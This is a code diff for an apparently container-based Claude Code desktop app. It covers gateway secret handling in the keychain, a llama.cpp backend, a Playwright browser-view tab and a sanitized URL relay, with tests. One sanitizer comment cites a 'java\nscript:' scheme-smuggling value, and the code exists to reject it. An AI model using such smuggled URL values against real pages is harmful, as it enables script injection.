    pub base_url: String,
-    /// API key for the OpenAI-compatible endpoint
+    /// API key for the endpoint
    #[serde(skip_serializing, default)]
    pub api_key: Option<String>,
    /// Optional model override
    pub model_id: Option<String>,
    /// Optional override for the model the `haiku` alias resolves to.
    /// Blank falls back to `model_id`.
    #[serde(default)]
    pub haiku_model_id: Option<String>,
 }
 impl Project {
@@ -283,11 +352,13 @@ impl Project {
            backend: Backend::default(),
            bedrock_config: None,
            ollama_config: None,
            llamacpp_config: None,
            openai_compatible_config: None,
            allow_docker_access: false,
            sandbox_mode_enabled: false,
            mission_control_enabled: false,
            auth_bridge_enabled: false,
            browser_view_enabled: false,
            use_shared_auth_token: default_use_shared_auth_token(),
            full_permissions: false,
            permission_mode: None,
@@ -156,3 +156,116 @@ pub fn delete_claude_oauth_token() -> Result<(), String> {
    );
    token_result.and(version_result)
 }
 // ─────────────────────────────────────────────────────────────────────────────
 // Model gateway secrets (global, not per project)
 // ─────────────────────────────────────────────────────────────────────────────
 /// Keychain service for the upstream provider API key (OpenAI etc.) the
 /// LiteLLM gateway authenticates to the model provider with. This value is
 /// written into the gateway's generated `config.yaml`, which is uploaded
 /// straight into the container over the Docker API — it is never an env var,
 /// never a Docker label, and is never returned to the frontend.
 const GATEWAY_API_KEY_SERVICE: &str = "triple-c-gateway-provider-api-key";
 /// Keychain service for the gateway's **master key** — the credential a
 /// *project* presents to the gateway as `ANTHROPIC_AUTH_TOKEN`. Unlike the
 /// provider key this one is minted by Triple-C and must be readable by the
 /// user, since they have to paste it into a project's model config.
 const GATEWAY_MASTER_KEY_SERVICE: &str = "triple-c-gateway-master-key";
 /// Rotation id covering *both* gateway secrets, on the same reasoning as
 /// `CLAUDE_TOKEN_VERSION_SERVICE`: container recreation is driven off Docker
 /// labels, labels are world-readable via `docker inspect`, and a hash of a
 /// secret is a verification oracle. This is unrelated random data that merely
 /// changes whenever either secret does.
 const GATEWAY_SECRET_VERSION_SERVICE: &str = "triple-c-gateway-secret-version";
 /// Mint a fresh gateway rotation id. Called after either gateway secret moves.
 fn bump_gateway_secret_version() -> Result<(), String> {
    let version = uuid::Uuid::new_v4().to_string();
    let entry = keyring::Entry::new(GATEWAY_SECRET_VERSION_SERVICE, KEYCHAIN_ACCOUNT)
        .map_err(|e| format!("Keyring error: {}", e))?;
    entry
        .set_password(&version)
        .map_err(|e| format!("Failed to store the gateway secret rotation id: {}", e))
 }
 /// The rotation id of the currently stored gateway secrets. Opaque random
 /// data — safe to put in a Docker label, unlike either secret.
 pub fn get_gateway_secret_version() -> Result<Option<String>, String> {
    read_entry(
        GATEWAY_SECRET_VERSION_SERVICE,
        "the gateway secret rotation id",
    )
 }
 /// Store the provider API key, replacing any previous one. Blank input is
 /// rejected rather than silently stored.
 pub fn store_gateway_api_key(key: &str) -> Result<(), String> {
    if key.trim().is_empty() {
        return Err("Refusing to store an empty gateway provider API key.".to_string());
    }
    let entry = keyring::Entry::new(GATEWAY_API_KEY_SERVICE, KEYCHAIN_ACCOUNT)
        .map_err(|e| format!("Keyring error: {}", e))?;
    entry
        .set_password(key.trim())
        .map_err(|e| format!("Failed to store the gateway provider API key: {}", e))?;
    // Rotation id second: if this fails the key is still usable, and the stale
    // id only costs one extra container recreation later.
    bump_gateway_secret_version()
 }
 /// Retrieve the provider API key. **Host-side only** — this is consumed when
 /// rendering the gateway config and must not be handed to the frontend.
 pub fn get_gateway_api_key() -> Result<Option<String>, String> {
    read_entry(GATEWAY_API_KEY_SERVICE, "the gateway provider API key")
 }
 /// Whether a provider API key is stored. A keychain failure is reported as
 /// "no key" so the UI degrades to the unconfigured state instead of breaking.
 pub fn has_gateway_api_key() -> bool {
    matches!(get_gateway_api_key(), Ok(Some(k)) if !k.trim().is_empty())
 }
 /// Delete the provider API key and rotate the id so a running gateway holding
 /// the old key is flagged for recreation.
 pub fn delete_gateway_api_key() -> Result<(), String> {
    let delete_result = delete_entry(GATEWAY_API_KEY_SERVICE, "the gateway provider API key");
    let version_result = bump_gateway_secret_version();
    delete_result.and(version_result)
 }
 /// The gateway master key, minting one on first use.
 ///
 /// The gateway is published on a host port so project containers can reach it,
 /// which means an unauthenticated gateway would be an open proxy onto the
 /// user's provider account for anything that can route to the host. LiteLLM
 /// only enforces auth when a master key is configured, so Triple-C always
 /// configures one.
 pub fn get_or_create_gateway_master_key() -> Result<String, String> {
    if let Some(existing) = read_entry(GATEWAY_MASTER_KEY_SERVICE, "the gateway master key")? {
        if !existing.trim().is_empty() {
            return Ok(existing);
        }
    }
    regenerate_gateway_master_key()
 }
 /// Mint a new gateway master key, invalidating the old one. Projects using the
 /// previous value must be updated.
 pub fn regenerate_gateway_master_key() -> Result<String, String> {
    // LiteLLM requires the master key to start with `sk-`.
    let key = format!("sk-triple-c-{}", uuid::Uuid::new_v4().simple());
    let entry = keyring::Entry::new(GATEWAY_MASTER_KEY_SERVICE, KEYCHAIN_ACCOUNT)
        .map_err(|e| format!("Keyring error: {}", e))?;
    entry
        .set_password(&key)
        .map_err(|e| format!("Failed to store the gateway master key: {}", e))?;
    bump_gateway_secret_version()?;
    Ok(key)
 }
@@ -226,6 +226,51 @@
  .scroll-bottom-btn:hover { background: var(--accent-hover); }
  .scroll-bottom-btn.visible { display: flex; }
  /* ── URL relay banner ───────────────────── */
  .relay-banner {
    position: absolute;
    top: 8px;
    left: 50%;
    transform: translateX(-50%);
    max-width: min(94%, 620px);
    display: none;
    align-items: center;
    gap: 10px;
    padding: 8px 10px;
    background: var(--bg-secondary);
    border: 1px solid var(--border);
    border-radius: 8px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.45);
    z-index: 30;
  }
  .relay-banner.visible { display: flex; }
  .relay-banner-text { flex: 1; min-width: 0; }
  .relay-banner-label {
    font-size: 11px;
    color: var(--text-secondary);
    margin-bottom: 2px;
  }
  .relay-banner-url {
    display: block;
    font-size: 12px;
    font-family: 'Cascadia Code', 'Fira Code', 'JetBrains Mono', 'Menlo', monospace;
    color: var(--accent);
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
  }
  .relay-banner-dismiss {
    flex-shrink: 0;
    background: transparent;
    border: none;
    color: var(--text-secondary);
    font-size: 14px;
    line-height: 1;
    padding: 4px 6px;
    cursor: pointer;
  }
  .relay-banner-dismiss:hover { color: var(--text-primary); }
  /* ── Empty State ─────────────────────────── */
  .empty-state {
    display: flex;
@@ -272,6 +317,15 @@
    <div class="hint">Use the buttons above to start a Claude or Bash session</div>
  </div>
  <button class="scroll-bottom-btn" id="scrollBottomBtn" title="Scroll to bottom">&#8595;</button>
  <!-- URL relay: a CLI in the container asked for a browser. Tap-to-open only,
       never automatic — see the OSC 7777 handler below. -->
  <div class="relay-banner" id="relayBanner">
    <div class="relay-banner-text">
      <div class="relay-banner-label">Container asked to open a URL &mdash; tap to open here</div>
      <a class="relay-banner-url" id="relayBannerLink" target="_blank" rel="noopener noreferrer"></a>
    </div>
    <button class="relay-banner-dismiss" id="relayBannerDismiss" aria-label="Dismiss">&#10005;</button>
  </div>
 </div>
 <!-- Input Bar for mobile/tablet -->
@@ -309,6 +363,96 @@
  const btnTab = document.getElementById('btnTab');
  const btnCtrlC = document.getElementById('btnCtrlC');
  const scrollBottomBtn = document.getElementById('scrollBottomBtn');
  const relayBanner = document.getElementById('relayBanner');
  const relayBannerLink = document.getElementById('relayBannerLink');
  const relayBannerDismiss = document.getElementById('relayBannerDismiss');
  // ── URL relay (OSC 7777) ───────────────────
  // `container/triple-c-open` — installed in the container as xdg-open,
  // $BROWSER, sensible-browser, ... — emits ESC]7777;open;<base64(url)>BEL
  // when a CLI wants a browser. The desktop app turns that into a host-browser
  // open; here the only browser available is the *remote viewer's*.
  //
  // That is a different trust situation, so this deliberately does NOT mirror
  // the desktop behaviour: nothing opens by itself. The web terminal may be
  // reached from a phone on the LAN or through a tunnel, and the viewer's
  // browser carries their own logged-in sessions and can reach their own
  // network. We surface the request as a tap-to-open link and let the human
  // decide. (A popup would be blocked without a user gesture anyway.)
  // The same http/https allowlist as the desktop side applies — this file is
  // standalone (embedded via include_str!) so it cannot import lib/urlRelay.ts;
  // the logic is kept deliberately short and identical in behaviour.
  const RELAY_OSC = 7777;
  const RELAY_MAX_URL = 8192;
  let relayTimes = [];
  let relayLastUrl = null;
  let relayLastAt = 0;
  let relayHideTimer = null;
  function sanitizeRelayUrl(raw) {
    if (typeof raw !== 'string') return null;
    const s = raw.trim();
    if (!s || s.length > RELAY_MAX_URL) return null;
    // Control characters and whitespace first: new URL() strips tabs/newlines,
    // so "java\nscript:" would otherwise slip through as javascript:.
    if (/[\s\u0000-\u0020\u007f]/.test(s)) return null;
    let u;
    try { u = new URL(s); } catch (e) { return null; }
    if (u.protocol !== 'http:' && u.protocol !== 'https:') return null;
    if (!u.hostname) return null;
    if (u.username || u.password) return null;  // origin spoofing
    return u.toString();
  }
  function parseRelayOsc(data) {
    if (typeof data !== 'string') return null;
    const sep = data.indexOf(';');
    if (sep === -1) return null;
    if (data.slice(0, sep) !== 'open') return null;
    const body = data.slice(sep + 1);
    if (!body || body.length > RELAY_MAX_URL * 2) return null;
    if (!/^[A-Za-z0-9+/]+=*$/.test(body)) return null;
    let text;
    try {
      const bin = atob(body);
      const bytes = Uint8Array.from(bin, c => c.charCodeAt(0));
      text = new TextDecoder('utf-8', { fatal: true }).decode(bytes);
    } catch (e) { return null; }
    return sanitizeRelayUrl(text);
  }
  // Cap the prompt rate so a runaway loop in the container can't bury the UI.
  function relayAllowed(url) {
    const now = Date.now();
    if (url === relayLastUrl && now - relayLastAt < 5000) {
      relayLastAt = now;
      return false;
    }
    relayTimes = relayTimes.filter(t => now - t < 10000);
    if (relayTimes.length >= 5) return false;
    relayTimes.push(now);
    relayLastUrl = url;
    relayLastAt = now;
    return true;
  }
  function hideRelayBanner() {
    relayBanner.classList.remove('visible');
    relayBannerLink.removeAttribute('href');
    relayBannerLink.textContent = '';
    clearTimeout(relayHideTimer);
  }
  function showRelayBanner(url) {
    relayBannerLink.href = url;
    relayBannerLink.textContent = url;
    relayBanner.classList.add('visible');
    clearTimeout(relayHideTimer);
    relayHideTimer = setTimeout(hideRelayBanner, 60000);
  }
  relayBannerDismiss.addEventListener('click', hideRelayBanner);
  relayBannerLink.addEventListener('click', () => hideRelayBanner());
  // ── WebSocket ──────────────────────────────
  function connect() {
@@ -448,6 +592,15 @@
    const webLinksAddon = new WebLinksAddon.WebLinksAddon();
    term.loadAddon(webLinksAddon);
    // URL relay from the container (see the OSC 7777 notes above). Always
    // returns true so the sequence is consumed and never painted as garbage,
    // whether or not we act on it.
    term.parser.registerOscHandler(RELAY_OSC, data => {
      const url = parseRelayOsc(data);
      if (url && relayAllowed(url)) showRelayBanner(url);
      return true;
    });
    // Create container div
    const container = document.createElement('div');
    container.className = 'terminal-container';
@@ -22,7 +22,7 @@
      }
    ],
    "security": {
-      "csp": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' asset: https://asset.localhost; font-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost"
+      "csp": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' asset: https://asset.localhost; font-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost; frame-src http://127.0.0.1:47820 http://127.0.0.1:47821 http://127.0.0.1:47822 http://127.0.0.1:47823 http://127.0.0.1:47824 http://127.0.0.1:47825 http://127.0.0.1:47826 http://127.0.0.1:47827"
    }
  },
  "bundle": {
@@ -0,0 +1,178 @@
 import { describe, it, expect, vi, beforeEach } from "vitest";
 import { act, fireEvent, render, screen, waitFor } from "@testing-library/react";
 import BrowserTab from "./BrowserTab";
 import type { BrowserViewStatus, Project } from "../../../lib/types";
 const getBrowserViewStatus = vi.fn<() => Promise<BrowserViewStatus>>();
 const setBrowserViewEnabled = vi.fn<() => Promise<BrowserViewStatus>>();
 const pushToast = vi.fn();
 vi.mock("../../../lib/tauri-commands", () => ({
  getBrowserViewStatus: () => getBrowserViewStatus(),
  setBrowserViewEnabled: () => setBrowserViewEnabled(),
 }));
 vi.mock("@tauri-apps/api/event", () => ({
  listen: vi.fn(async () => () => {}),
 }));
 vi.mock("../../../store/appState", () => ({
  useAppState: (selector: (s: unknown) => unknown) => selector({ pushToast }),
 }));
 const OFF: BrowserViewStatus = {
  enabled: false,
  state: "off",
  url: null,
  host_port: null,
  container_port: null,
  started_at: null,
  detection: null,
  message: null,
 };
 const project: Project = {
  id: "p1",
  name: "api-server",
  paths: [{ host_path: "/home/user/api", mount_name: "api" }],
  container_id: "c1",
  status: "running",
  backend: "anthropic",
  bedrock_config: null,
  ollama_config: null,
  openai_compatible_config: null,
  allow_docker_access: false,
  sandbox_mode_enabled: true,
  mission_control_enabled: false,
  auth_bridge_enabled: false,
  use_shared_auth_token: true,
  full_permissions: false,
  permission_mode: "bypass",
  ssh_key_path: null,
  git_token: null,
  git_user_name: null,
  git_user_email: null,
  custom_env_vars: [],
  port_mappings: [],
  claude_instructions: null,
  claude_code_settings: null,
  renamed_session_names: {},
  created_at: "2026-01-01T00:00:00Z",
  updated_at: "2026-01-01T00:00:00Z",
 } as unknown as Project;
 beforeEach(() => {
  vi.clearAllMocks();
  getBrowserViewStatus.mockResolvedValue(OFF);
 });
 describe("BrowserTab", () => {
  it("does not offer to start anything while the container is stopped", async () => {
    render(<BrowserTab project={{ ...project, status: "stopped" }} active />);
    expect(await screen.findByText(/container isn’t running/i)).toBeInTheDocument();
    expect(screen.queryByRole("button", { name: /start browser view/i })).toBeNull();
    expect(getBrowserViewStatus).not.toHaveBeenCalled();
  });
  it("starts off, and never starts a view without being asked", async () => {
    render(<BrowserTab project={project} active />);
    await waitFor(() => expect(getBrowserViewStatus).toHaveBeenCalled());
    expect(screen.getByText("Off")).toBeInTheDocument();
    expect(screen.queryByTitle(/browser view for/i)).toBeNull();
    expect(setBrowserViewEnabled).not.toHaveBeenCalled();
  });
  it("shows the live pane, pointed at loopback with a token, once started", async () => {
    setBrowserViewEnabled.mockResolvedValue({
      ...OFF,
      enabled: true,
      state: "running",
      url: "http://127.0.0.1:47820/index.html?ws=abc&token=SEKRIT",
      host_port: 47820,
      container_port: 39321,
      started_at: "2026-08-09T10:00:00Z",
    });
    render(<BrowserTab project={project} active />);
    await waitFor(() => expect(getBrowserViewStatus).toHaveBeenCalled());
    await act(async () => {
      fireEvent.click(screen.getByRole("button", { name: /start browser view/i }));
    });
    const frame = await screen.findByTitle("Playwright browser view for api-server");
    expect(frame).toHaveAttribute(
      "src",
      "http://127.0.0.1:47820/index.html?ws=abc&token=SEKRIT",
    );
    expect(screen.getByText("Live")).toBeInTheDocument();
    expect(screen.getByText(/127\.0\.0\.1:47820 → container :39321/)).toBeInTheDocument();
    expect(screen.getByRole("button", { name: "Stop" })).toBeInTheDocument();
  });
  it("explains precisely what is missing instead of spinning", async () => {
    getBrowserViewStatus.mockResolvedValue({
      ...OFF,
      enabled: true,
      state: "unavailable",
      message:
        "Playwright isn't installed in this container. Install it with `npm i -D playwright`.",
      detection: {
        node_version: "22.11.0",
        playwright_version: null,
        playwright_path: null,
        has_bind: false,
        cli_version: null,
        cli_entry: null,
        searched: ["/workspace", "/usr/lib/node_modules"],
      },
    });
    render(<BrowserTab project={project} active />);
    expect(await screen.findByText(/npm i -D playwright/)).toBeInTheDocument();
    expect(screen.getByText("Unavailable")).toBeInTheDocument();
    // The probe's findings are shown, so the user can see why.
    expect(screen.getByText("22.11.0")).toBeInTheDocument();
    expect(screen.getByText("not in this build")).toBeInTheDocument();
    expect(screen.getByText(/usr\/lib\/node_modules/)).toBeInTheDocument();
    expect(screen.queryByTitle(/browser view for/i)).toBeNull();
  });
  it("surfaces a start failure rather than leaving the pane blank", async () => {
    setBrowserViewEnabled.mockRejectedValue("container went away");
    render(<BrowserTab project={project} active />);
    await waitFor(() => expect(getBrowserViewStatus).toHaveBeenCalled());
    await act(async () => {
      fireEvent.click(screen.getByRole("button", { name: /start browser view/i }));
    });
    expect(await screen.findByText(/didn’t start/i)).toBeInTheDocument();
    expect(screen.getByText(/container went away/)).toBeInTheDocument();
    expect(pushToast).toHaveBeenCalledWith(
      expect.objectContaining({ kind: "error" }),
    );
  });
  it("stops the view when asked", async () => {
    getBrowserViewStatus.mockResolvedValue({
      ...OFF,
      enabled: true,
      state: "running",
      url: "http://127.0.0.1:47821/?token=T",
      host_port: 47821,
      container_port: 39321,
    });
    setBrowserViewEnabled.mockResolvedValue(OFF);
    render(<BrowserTab project={project} active />);
    const stop = await screen.findByRole("button", { name: "Stop" });
    await act(async () => {
      fireEvent.click(stop);
    });
    await waitFor(() => expect(setBrowserViewEnabled).toHaveBeenCalled());
    expect(await screen.findByText("Off")).toBeInTheDocument();
    expect(screen.queryByTitle(/browser view for/i)).toBeNull();
  });
 });
@@ -0,0 +1,261 @@
 import { useCallback, useEffect, useRef, useState } from "react";
 import { listen } from "@tauri-apps/api/event";
 import type {
  BrowserViewChangedEvent,
  BrowserViewStatus,
  Project,
 } from "../../../lib/types";
 import {
  getBrowserViewStatus,
  setBrowserViewEnabled,
 } from "../../../lib/tauri-commands";
 import { useAppState } from "../../../store/appState";
 import Button from "../../ui/Button";
 import StatusIndicator from "../../ui/StatusIndicator";
 interface Props {
  project: Project;
  active: boolean;
 }
 const OFF: BrowserViewStatus = {
  enabled: false,
  state: "off",
  url: null,
  host_port: null,
  container_port: null,
  started_at: null,
  detection: null,
  message: null,
 };
 /**
 * Watch — and take over — the browser Claude is driving with Playwright inside
 * the container.
 *
 * The pane is an iframe onto Playwright's own live dashboard, which runs in the
 * container and is reached through a token-gated listener on the host's
 * loopback. Nothing starts until the user asks: this is remote control of a
 * browser in a privileged sandbox, so it is off by default and opted into per
 * project, exactly like the auth bridge.
 */
 export default function BrowserTab({ project, active }: Props) {
  const [status, setStatus] = useState<BrowserViewStatus>(OFF);
  const [busy, setBusy] = useState(false);
  const [error, setError] = useState<string | null>(null);
  /** Bumped to force the iframe to reload without changing its src. */
  const [reloadKey, setReloadKey] = useState(0);
  const pushToast = useAppState((s) => s.pushToast);
  const running = project.status === "running";
  // The backend is the source of truth: it emits whenever a view starts or is
  // torn down (container stopped, project removed, viewer died).
  const projectId = project.id;
  const mounted = useRef(true);
  useEffect(() => {
    mounted.current = true;
    return () => {
      mounted.current = false;
    };
  }, []);
  useEffect(() => {
    let dispose: (() => void) | undefined;
    listen<BrowserViewChangedEvent>("browser-view-changed", (event) => {
      if (event.payload.project_id === projectId && mounted.current) {
        setStatus(event.payload.status);
      }
    }).then((un) => {
      if (mounted.current) dispose = un;
      else un();
    });
    return () => dispose?.();
  }, [projectId]);
  useEffect(() => {
    if (!active || !running) return;
    getBrowserViewStatus(projectId)
      .then((s) => mounted.current && setStatus(s))
      .catch(() => {});
  }, [active, projectId, running]);
  const toggle = useCallback(
    async (next: boolean) => {
      setBusy(true);
      setError(null);
      try {
        const result = await setBrowserViewEnabled(projectId, next);
        if (mounted.current) setStatus(result);
      } catch (e) {
        const detail = String(e);
        if (mounted.current) setError(detail);
        pushToast({
          kind: "error",
          message: next ? "Could not start the browser view" : "Could not stop the browser view",
          detail,
        });
      } finally {
        if (mounted.current) setBusy(false);
      }
    },
    [projectId, pushToast],
  );
  // A stopped container can't be hosting a browser, so say that plainly rather
  // than offering a control that would only fail.
  if (!running) {
    return (
      <Explainer title="The container isn’t running.">
        Start the container, have Claude drive a browser with Playwright, then come
        back here to watch it.
      </Explainer>
    );
  }
  const live = status.state === "running" && status.url;
  return (
    <div className="flex flex-col h-full min-h-0">
      <div className="flex items-center gap-2 px-4 py-2 border-b border-[var(--border-color)] flex-shrink-0 flex-wrap">
        <StatusIndicator
          tone={
            busy
              ? "busy"
              : status.state === "running"
                ? "running"
                : status.state === "unavailable"
                  ? "error"
                  : "off"
          }
          label={
            busy
              ? "Starting"
              : status.state === "running"
                ? "Live"
                : status.state === "unavailable"
                  ? "Unavailable"
                  : "Off"
          }
        />
        {live && (
          <span className="text-xs text-[var(--text-secondary)] font-mono truncate">
            127.0.0.1:{status.host_port} → container :{status.container_port}
          </span>
        )}
        <div className="flex-1" />
        {live && (
          <Button size="md" onClick={() => setReloadKey((k) => k + 1)}>
            Reload
          </Button>
        )}
        <Button
          size="md"
          variant={live ? "secondary" : "primary"}
          disabled={busy}
          onClick={() => toggle(!status.enabled || status.state !== "running")}
        >
          {busy ? "Working…" : live ? "Stop" : "Start browser view"}
        </Button>
      </div>
      {live ? (
        <iframe
          key={reloadKey}
          // Loopback only, and the URL carries the one-time session token the
          // host-side gate checks before anything reaches the container.
          src={status.url ?? undefined}
          title={`Playwright browser view for ${project.name}`}
          className="flex-1 min-h-0 w-full border-0 bg-[var(--bg-primary)]"
        />
      ) : (
        <div className="flex-1 min-h-0 overflow-y-auto">
          {status.state === "unavailable" ? (
            <Unavailable status={status} />
          ) : error ? (
            <Explainer title="The browser view didn’t start." tone="error">
              <span className="font-mono text-xs break-words">{error}</span>
            </Explainer>
          ) : (
            <Explainer title="Nothing is being watched yet.">
              Start the view to run Playwright’s live dashboard inside this container
              and mirror it here. You’ll see any browser a script has published with{" "}
              <Code>await browser.bind(&apos;claude&apos;)</Code> — and{" "}
              <Code>@playwright/mcp</Code> publishes automatically, so nothing extra is
              needed if Claude is using that.
            </Explainer>
          )}
        </div>
      )}
    </div>
  );
 }
 /** The container can't serve a view — say exactly what is missing. */
 function Unavailable({ status }: { status: BrowserViewStatus }) {
  const d = status.detection;
  return (
    <div className="p-4 max-w-[46rem] space-y-3">
      <h2 className="text-[13px] font-semibold text-[var(--text-primary)]">
        This container can’t serve a browser view yet
      </h2>
      <p className="text-[13px] text-[var(--text-secondary)] leading-relaxed">
        {status.message}
      </p>
      {d && (
        <dl className="text-xs grid grid-cols-[auto_1fr] gap-x-3 gap-y-1 pt-2 border-t border-[var(--border-color)]">
          <Detail label="Node.js" value={d.node_version} />
          <Detail label="Playwright" value={d.playwright_version} />
          <Detail label="browser.bind()" value={d.has_bind ? "available" : "not in this build"} />
          <Detail label="@playwright/cli" value={d.cli_version} />
          {d.searched.length > 0 && (
            <Detail label="Searched" value={d.searched.join(", ")} />
          )}
        </dl>
      )}
    </div>
  );
 }
 function Detail({ label, value }: { label: string; value: string | null }) {
  return (
    <>
      <dt className="text-[var(--text-secondary)]">{label}</dt>
      <dd className="font-mono text-[var(--text-primary)] break-all">
        {value ?? "not found"}
      </dd>
    </>
  );
 }
 function Explainer({
  title,
  tone = "normal",
  children,
 }: {
  title: string;
  tone?: "normal" | "error";
  children: React.ReactNode;
 }) {
  return (
    <div className="p-4 max-w-[46rem]">
      <h2
        className={`text-[13px] font-semibold ${
          tone === "error" ? "text-[var(--error)]" : "text-[var(--text-primary)]"
        }`}
      >
        {title}
      </h2>
      <p className="mt-1 text-[13px] text-[var(--text-secondary)] leading-relaxed">
        {children}
      </p>
    </div>
  );
 }
 function Code({ children }: { children: React.ReactNode }) {
  return (
    <code className="font-mono text-xs px-1 py-0.5 rounded-[var(--radius-control)] bg-[var(--bg-tertiary)] text-[var(--text-primary)]">
      {children}
    </code>
  );
 }
@@ -21,6 +21,7 @@ const BACKEND_LABEL: Record<Project["backend"], string> = {
  anthropic: "Anthropic",
  bedrock: "AWS Bedrock",
  ollama: "Ollama",
  llama_cpp: "llama.cpp",
  open_ai_compatible: "OpenAI Compatible",
 };
@@ -14,6 +14,7 @@ import SessionsTab from "./SessionsTab";
 import AutomationTab from "./AutomationTab";
 import ConfigTab from "./ConfigTab";
 import FilesTab from "./FilesTab";
 import BrowserTab from "./BrowserTab";
 import { formatUptime } from "./format";
 const TABS = [
@@ -22,6 +23,7 @@ const TABS = [
  { id: "automation", label: "Automation" },
  { id: "config", label: "Config" },
  { id: "files", label: "Files" },
  { id: "browser", label: "Browser" },
 ] as const;
 export type ProjectHomeTabId = (typeof TABS)[number]["id"];
@@ -206,6 +208,9 @@ export default function ProjectHome({ projectId, active }: Props) {
          <ConfigTab project={project} save={save} saveState={saveState} />
        )}
        {tab === "files" && <FilesTab project={project} />}
        {tab === "browser" && (
          <BrowserTab project={project} active={active && tab === "browser"} />
        )}
      </div>
      {confirmReset && (
@@ -1,6 +1,10 @@
 import { describe, it, expect, vi, beforeEach } from "vitest";
 import { render, screen, fireEvent } from "@testing-library/react";
-import ModelSection from "./ModelSection";
+import ModelSection, {
  DEFAULT_LLAMACPP_CONFIG,
  DEFAULT_OLLAMA_CONFIG,
 } from "./ModelSection";
 import { CUSTOM_ENDPOINT_BACKENDS } from "../../../../lib/types";
 import type { Backend, Project } from "../../../../lib/types";
 const baseProject: Project = {
@@ -12,6 +16,7 @@ const baseProject: Project = {
  backend: "anthropic",
  bedrock_config: null,
  ollama_config: null,
  llamacpp_config: null,
  openai_compatible_config: null,
  allow_docker_access: false,
  sandbox_mode_enabled: true,
@@ -55,7 +60,7 @@ describe("ModelSection — shared auth token toggle", () => {
    expect(screen.getByRole("switch", { name: TOGGLE })).toBeInTheDocument();
  });
-  it.each<Backend>(["bedrock", "ollama", "open_ai_compatible"])(
+  it.each<Backend>(["bedrock", "ollama", "llama_cpp", "open_ai_compatible"])(
    "is hidden for the %s backend",
    (backend) => {
      renderSection({ backend });
@@ -93,3 +98,118 @@ describe("ModelSection — shared auth token toggle", () => {
    expect(screen.getByRole("switch", { name: TOGGLE })).toBeDisabled();
  });
 });
 describe("ModelSection — llama.cpp backend", () => {
  beforeEach(() => vi.clearAllMocks());
  it("is offered as a backend choice", () => {
    renderSection();
    expect(
      screen.getByRole("option", { name: "llama.cpp" }),
    ).toBeInTheDocument();
  });
  it("seeds llama-server's default port when the backend is first chosen", () => {
    renderSection();
    fireEvent.change(screen.getByLabelText("Backend"), {
      target: { value: "llama_cpp" },
    });
    expect(save).toHaveBeenCalledWith({
      backend: "llama_cpp",
      llamacpp_config: DEFAULT_LLAMACPP_CONFIG,
    });
    expect(DEFAULT_LLAMACPP_CONFIG.base_url).toContain(":8080");
  });
  it("does not clobber an existing config when re-selected", () => {
    renderSection({
      backend: "ollama",
      llamacpp_config: {
        base_url: "http://gpu-box:9090",
        model_id: "mine",
        haiku_model_id: null,
      },
    });
    fireEvent.change(screen.getByLabelText("Backend"), {
      target: { value: "llama_cpp" },
    });
    expect(save).toHaveBeenCalledWith({ backend: "llama_cpp" });
  });
  it("saves the base URL and model on blur", () => {
    renderSection({ backend: "llama_cpp" });
    const url = screen.getByLabelText("Base URL");
    fireEvent.change(url, { target: { value: "http://gpu-box:8080" } });
    fireEvent.blur(url);
    expect(save).toHaveBeenCalledWith({
      llamacpp_config: { ...DEFAULT_LLAMACPP_CONFIG, base_url: "http://gpu-box:8080" },
    });
    const model = screen.getByLabelText("Model");
    fireEvent.change(model, { target: { value: "qwen3.5-coder-30b" } });
    fireEvent.blur(model);
    expect(save).toHaveBeenCalledWith({
      llamacpp_config: { ...DEFAULT_LLAMACPP_CONFIG, model_id: "qwen3.5-coder-30b" },
    });
  });
 });
 describe("ModelSection — background (haiku) model override", () => {
  beforeEach(() => vi.clearAllMocks());
  it("covers exactly the backends that point at a custom endpoint", () => {
    expect([...CUSTOM_ENDPOINT_BACKENDS]).toEqual([
      "ollama",
      "llama_cpp",
      "open_ai_compatible",
    ]);
  });
  it.each([...CUSTOM_ENDPOINT_BACKENDS])("is offered for the %s backend", (backend) => {
    renderSection({ backend });
    const field = screen.getByLabelText("Background model");
    expect(field).toBeInTheDocument();
    // Blank is the documented default — it reuses the main model.
    expect(field).toHaveValue("");
    expect(field).toHaveAttribute("placeholder", "(same as the model above)");
  });
  it.each<Backend>(["anthropic", "bedrock"])(
    "is not offered for the %s backend, which keeps Claude Code's defaults",
    (backend) => {
      renderSection({ backend });
      expect(screen.queryByLabelText("Background model")).not.toBeInTheDocument();
    },
  );
  it("saves a trimmed override, and clears it back to null when blanked", () => {
    renderSection({ backend: "ollama" });
    const field = screen.getByLabelText("Background model");
    fireEvent.change(field, { target: { value: "  qwen3.5:3b  " } });
    fireEvent.blur(field);
    expect(save).toHaveBeenCalledWith({
      ollama_config: { ...DEFAULT_OLLAMA_CONFIG, haiku_model_id: "qwen3.5:3b" },
    });
    fireEvent.change(field, { target: { value: "   " } });
    fireEvent.blur(field);
    expect(save).toHaveBeenCalledWith({
      ollama_config: { ...DEFAULT_OLLAMA_CONFIG, haiku_model_id: null },
    });
  });
  it("shows an existing override and explains what it is for", () => {
    renderSection({
      backend: "llama_cpp",
      llamacpp_config: {
        base_url: "http://host.docker.internal:8080",
        model_id: "big",
        haiku_model_id: "small",
      },
    });
    expect(screen.getByLabelText("Background model")).toHaveValue("small");
    expect(screen.getByText(/background work/i)).toBeInTheDocument();
  });
 });
@@ -3,6 +3,7 @@ import type {
  Backend,
  BedrockAuthMethod,
  BedrockConfig,
  LlamaCppConfig,
  OllamaConfig,
  OpenAiCompatibleConfig,
  Project,
@@ -31,14 +32,28 @@ export const DEFAULT_BEDROCK_CONFIG: BedrockConfig = {
 export const DEFAULT_OLLAMA_CONFIG: OllamaConfig = {
  base_url: "http://host.docker.internal:11434",
  model_id: null,
  haiku_model_id: null,
 };
 /** `llama-server` listens on port 8080 unless `--port` says otherwise. */
 export const DEFAULT_LLAMACPP_CONFIG: LlamaCppConfig = {
  base_url: "http://host.docker.internal:8080",
  model_id: null,
  haiku_model_id: null,
 };
 export const DEFAULT_OPENAI_COMPATIBLE_CONFIG: OpenAiCompatibleConfig = {
  base_url: "http://host.docker.internal:4000",
  api_key: null,
  model_id: null,
  haiku_model_id: null,
 };
 /** Shown under the optional per-backend Haiku override. Kept in one place so
 *  all three custom-endpoint backends explain it identically. */
 const HAIKU_HINT =
